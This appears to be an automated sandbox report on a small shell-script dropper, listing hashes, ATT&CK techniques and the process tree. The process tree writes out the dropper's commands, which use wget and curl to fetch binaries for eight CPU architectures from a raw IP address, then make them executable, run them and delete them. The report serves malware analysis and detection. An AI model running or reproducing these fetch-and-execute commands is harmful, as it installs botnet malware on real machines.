e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f

Analysis

max time kernel
149s
max time network
142s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/05/2026, 05:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
Size 1KB
Sample260529-gntdmsdv2k
SHA256 e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f
MD5 664b478c4edafe1e34a14f4ee7aae372
SHA1 7635841bcf3393fa891464a5161afca5704fc45f
SHA512 b3c64e3654221f8a7cda13a902535e6145ca0c14ba27ce790e6ed48f73eb82add21ec0b4ce083d163576ca866fb58ef4cda53b28a002218208d7cea8c476d37a
TLSH
T1F731A1EB22A090B3C46DED46FB9580C5E04846C3D1E6EFBCBCBC6526489814CF1B5B74
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
794	chmod
825	chmod
748	chmod
755	chmod
875	chmod
760	chmod
865	chmod
883	chmod
898	chmod
893	chmod
774	chmod
819	chmod
830	chmod
841	chmod
888	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/x86	750	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/x86	756	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/amd64	761	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/amd64	776	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm	795	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm	820	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm5	826	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm5	831	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm6	842	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm6	867	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm64	876	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/arm64	884	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/mips	889	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/mips	894	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/mipsle	899	e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	mipsle

Reads runtime system information 7 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
889	mips
891	rm
892	curl
894	mips
896	rm
897	wget
899	mipsle
887	wget

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mipsle	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/arm64	curl
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/arm6	wget

/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
/tmp/e765cb8dceafdb576923f61b4a25d8c73abb578d22102bdcd19f57c3cb87b97f.sh
1⤵
- Executes dropped EXE
PID:723
- /usr/bin/wget
  wget http://176.65.139.148:5001/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:725
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/x86
  ./x86
  2⤵
  PID:750
- /bin/rm
  rm -f x86
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/x86
  ./x86
  2⤵
  PID:756
- /bin/rm
  rm -f x86
  2⤵
  PID:758
- /usr/bin/wget
  wget http://176.65.139.148:5001/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/amd64
  ./amd64
  2⤵
  PID:761
- /bin/rm
  rm -f amd64
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/amd64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/amd64
  ./amd64
  2⤵
  PID:776
- /bin/rm
  rm -f amd64
  2⤵
  PID:779
- /usr/bin/wget
  wget http://176.65.139.148:5001/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/arm
  ./arm
  2⤵
  PID:795
- /bin/rm
  rm -f arm
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/arm
  ./arm
  2⤵
  PID:820
- /bin/rm
  rm -f arm
  2⤵
  PID:823
- /usr/bin/wget
  wget http://176.65.139.148:5001/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/arm5
  ./arm5
  2⤵
  PID:826
- /bin/rm
  rm -f arm5
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/arm5
  ./arm5
  2⤵
  PID:831
- /bin/rm
  rm -f arm5
  2⤵
  PID:833
- /usr/bin/wget
  wget http://176.65.139.148:5001/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/arm6
  ./arm6
  2⤵
  PID:842
- /bin/rm
  rm -f arm6
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/arm6
  ./arm6
  2⤵
  PID:867
- /bin/rm
  rm -f arm6
  2⤵
  PID:870
- /usr/bin/wget
  wget http://176.65.139.148:5001/arm64 -O arm64
  2⤵
  - Writes file to tmp directory
  PID:872
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/arm64
  ./arm64
  2⤵
  PID:876
- /bin/rm
  rm -f arm64
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/arm64
  ./arm64
  2⤵
  PID:884
- /bin/rm
  rm -f arm64
  2⤵
  PID:886
- /usr/bin/wget
  wget http://176.65.139.148:5001/mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://176.65.139.148:5001/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/rm
  rm -f mips
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/wget
  wget http://176.65.139.148:5001/mipsle -O mipsle
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/chmod
  chmod +x mipsle
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/mipsle
  ./mipsle
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:899

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.8MB
SHA256 9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026
MD5 047dc9f11c7f47a827212957aabe1ed5
SHA1 ba21e020cea4b8a4aa2c48556c900365b71ef842
SHA512 29f91333286b3513b28d1155b71f542b880f628cd26415a0806ec3b24f452e02312395ac64ebe026ab06ecc11b46236171ea0252d25815fd6dfad92f3cf81485
SSDEEP 49152:XTNTSB1n6vt1FMqAha/STqBv8fP4hbSDf/Y5Ep1gC1OjAzmxqJ:DN3N0hD7fP4trEpTz8y
TLSH
T184363A57ECA551E9C0EE923086629253BA717C485F3523D32F60F7782F76BD0AAB9304
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.7MB
SHA256 8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6
MD5 e43bb8833510e07ca1be89595cef8406
SHA1 d0b77e34aff02b3345d31545db6a02f70fa2ccd3
SHA512 ac4920246d53325717f1e0eb8622a1ac9c115bc08cbe6a9754f2a2eb7a4b14cecb9725b3da28d537709563f9e3e6987391044371bb6e69f752c71cb0419205a3
SSDEEP 49152:w5gcqFewiQMzDUTNPUG4ZwcvE8bEIvVf1:ckkwrMzDUT5eJ71
TLSH
T17C360997B8914A83C4E43676BCBD81C833A34EB99B9753666D04FE3C3ABE1990D35704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 4.8MB
SHA256 9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45
MD5 decc5180fd9f68a1e935815c5a38a4a0
SHA1 21f28007dcaee6afc18312f25b275c3b6503b15e
SHA512 344fe53e0181dae4d1926a3d4d18389c6e29cae0f93e391c7b6bc00e86b57b647a8f9c1a9568dff6ef8a6053771504409a2b826697b9d4c13884b7d1d6e20ab4
SSDEEP 49152:KUHlp+BgCG/LmDiz2oC/KpCkrHClPmbwJyxf/:KUHf+1G/Lmm2oCkrHke/
TLSH
T1B4360997B9824A82C4E43676BCBD81C473A34EB99B97135A6D04FE3C3BBE1990D35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 4.7MB
SHA256 55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137
MD5 50041fbb3bff1552a478c8acf4be4936
SHA1 bbfbd27f7658cc5827d2f38cd4138c147c9ce581
SHA512 1c5eceb1e25606574665c2d5dd9d67c54b8add871180e2dfc8bbba77108a152a871164265bc2dad6a0a8b8d21e5cad9216fc05255b1bb7204ac5929f61c9083d
SSDEEP 24576:In3MZ4su33kN4vdR7t9uv3sI04kDMCsUIMQalD2U0icsMBj69D7UuW/tVXOy0Od5:qX6Y8pcK1xEFg9ntHcMxh/A5ajpKLs
TLSH
T16C36F797B8814A83C4E4367BB8BD80C833A74EB99B9753566D04FE3C3ABE5990D35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 4.6MB
SHA256 855931ed160f9e4b3cb321c96e8454e5b3662859e1829784cd0bb0c71aee4053
MD5 829aa7b57846d193a3a1a28a367581cb
SHA1 3bd44327c6e4b60290510dd5470537cdac84cdd2
SHA512 c55abd8cc4492033ab1a3c9c4a73eada94cf323d13f545c9686b7190ab93480ccf6259d45ac8c012a119aded1562541b66dc2e68c3c66c615d192125ed7dab5d
SSDEEP 49152:AWnR7B1+rTTpAbzsZDWJ9dWEhDZ5EOczqmM:PnR7BErTdAboZDWJ9dWEtEm
TLSH
T19A265BA8BC1CB552E9C87AB47F6541C57339FC499F4183277614BBADA9F23188F22720
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 5.4MB
SHA256 4c2d532827cd66741885425d186b1c1bea8c77345d2a6b8c339c4b79d9c545d6
MD5 dd504b8d084e9d7f718bdef47872ce52
SHA1 320be9be517832b070afd0c3c53cc047029a0cf6
SHA512 2954d58c6e67da8090ab9c982c6c1745d6469134b3b6521ebe0439732af2757b7da83223e55b3f4c4e95c5853c33aaaafde4397feadb964bf7cd3659f74d15c8
SSDEEP 49152:940vyECb8cSb2mBnvxtlWwTNMntsB3BeqOW8aLtp+5Sr35DDvX5PNPeYbjkLzuwE:PLPJNHJvv0N0nF
TLSH
T1574618173A18DB0EC228223459B1CED56B791C4642DB9527F392F309A8F20BD5A6FDF1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsle

Path /tmp/mipsle
Size 5.4MB
SHA256 c0f3d3ae6e668e99303e447f21e1bddd403f31c7908a642622a12a7a8f0ae391
MD5 9249ed59ea3cb2cb7d4d4d8ea8318758
SHA1 66c62132f1ece4464fefa309a931e9477b52d81f
SHA512 68424c15169554d7e18173f5807ae2f41407f923ad79a79d908ce4cc1ef2923dd3d542c0a61a867d92bdeba21f7f56c8d920c07f12889c3c5900702d12d65f47
SSDEEP 24576:7QSCclJPyuqiGiwJlqEAAVR0mlj1tKHOEofNYoR/lAHV06UpUANHsh/RawqJJ1Ws:bl1FEDncd7XY30V89pmn5u
TLSH
T1B146D914AC842BA6C06C8B7490E9CE9622745E144AF14B366664FFECBC763787F47C9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.7MB
SHA256 abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19
MD5 4371cb24e2578152e89ab50183f89b98
SHA1 1c7185e95076805372a5e80330cb22a78f4debd6
SHA512 786e987ab6b96b046ec4de9a49e0ba069a97513d383cb26a1700a99fcf1b52e24b4d46e2858023074fa3ca3259da342dcf6cbf08ef712d9973ffa69445aac2ab
SSDEEP 49152:GuWxM1Tn/6Lo8vzL2zV7ZGsX6b3xpt2qet6qKJvwvc2ReU:qM1j/Xxq2qqpvVeU
TLSH
T140361790FECB51F6D9031E3144ABA23F63315D058B24EB97EA547F29FA3B691193620C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads